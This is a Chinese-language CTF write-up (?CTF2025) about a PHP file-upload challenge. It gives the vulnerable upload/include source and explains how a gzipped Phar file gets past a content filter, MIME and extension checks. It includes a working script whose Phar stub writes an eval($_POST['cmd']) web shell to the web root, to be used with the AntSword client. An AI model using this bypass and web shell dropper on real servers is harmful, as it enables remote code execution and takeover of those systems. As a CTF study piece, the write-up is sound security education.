PHP文件上传不含PHP代码实现RCE的方法

SoloWalker Lv3

PHP文件上传不含PHP代码实现RCE的方法

?CTF2025复现

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',`
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];


function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
) {
return true;
}
return false;
}

if ($_SERVER["REQUEST_METHOD"] == 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
die("Nope :<");
}

// mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

if (!in_array($mime_type, $allowed_mime_types)) {
die('unexpected mimetype');
}

// ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));

if (!in_array($ext, $allowed_extensions)) {
die('unexpected extension');
}

if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) {
echo "File upload success!Please include with 'url'";
}else{
echo "fail";
}
}
}

if (isset($_GET['url'])) {

$include_url = basename($_GET['url']);


if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("unexpected extension");
}

include '/tmp/' . $include_url;
exit;
}
?>

源码分析

这里我们很明显能看到有三道防线:

  1. filter函数:在我们读取的文件内容中不能包含__HALT_COMPILER();(防 phar 存根)、PK(防Zip头)、<?/<?php(防普通马)。
  2. finfo_file()函数进行MIME类型检验:只允许白名单内的压缩包格式。
  3. 后缀名检验:只允许白名单内的后缀名。
部分概念的解读

__HALT_COMPILER():这是一个编译器指令,作用是:当php引擎读到这个指令时停止解析,后面的内容不会检查语法,也不会尝试执行。

这个指令也是 Phar 归档文件的硬性要求:一个标准的 Phar 文件的结构为:[可执行 PHP 存根代码]+__HALT_COMPILER();+[压缩的二进制数据块]

什么是可执行PHP存根代码?

PHP存根代码(Stub)是 Phar 文件格式规定的一个引导加载程序,可以理解为 Phar 这个“压缩包”的自解压和启动程序。

这是一个简单的 PHP 文件,在 Phar 文件被include包含或者直接通过命令执行时会最先运行,核心任务时初始化 Phar 环境并加载内部的业务代码。

在CTF中,这是一个理想的代码注入点,因为这是 Phar 文件被包含的第一入口,放在这里的恶意代码会被自动执行。

那为什么明明已经ban了__HALT_COMPILER()payload中依然会有呢?

我们上传的文件时一个gz之类的压缩包,而file_get_contents()读取文件时读取的整个文件的二进制流,而里面的内容是被 gzip 算法加密过的乱码数据,自然读取不到。

而在include中,如果我们上传的文件中包含.phar,且没有用像phar://之类的形式,PHP会认为是本地文件,然后 Phar 扩展识别发现该文件是合法的 phar 文件后按照 phar文件处理。在过程中会自动解压文件。

攻击手法

1
2
3
4
5
6
<?php
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('<?php file_put_contents("/var/www/html/shell.php","<?php eval(\$_POST[\'cmd\']); ?>"); __HALT_COMPILER(); ?>');
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

利用这段代码生成一个 phar 文件,然后压缩成 gz 文件并上传,连接蚁剑即可。

  • Title: PHP文件上传不含PHP代码实现RCE的方法
  • Author: SoloWalker
  • Created at : 2026-04-18 00:00:00
  • Updated at : 2026-04-18 14:13:42
  • Link: https://s0lowalker.github.io/2026/04/18/不含php代码的php文件上传RCE/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
PHP文件上传不含PHP代码实现RCE的方法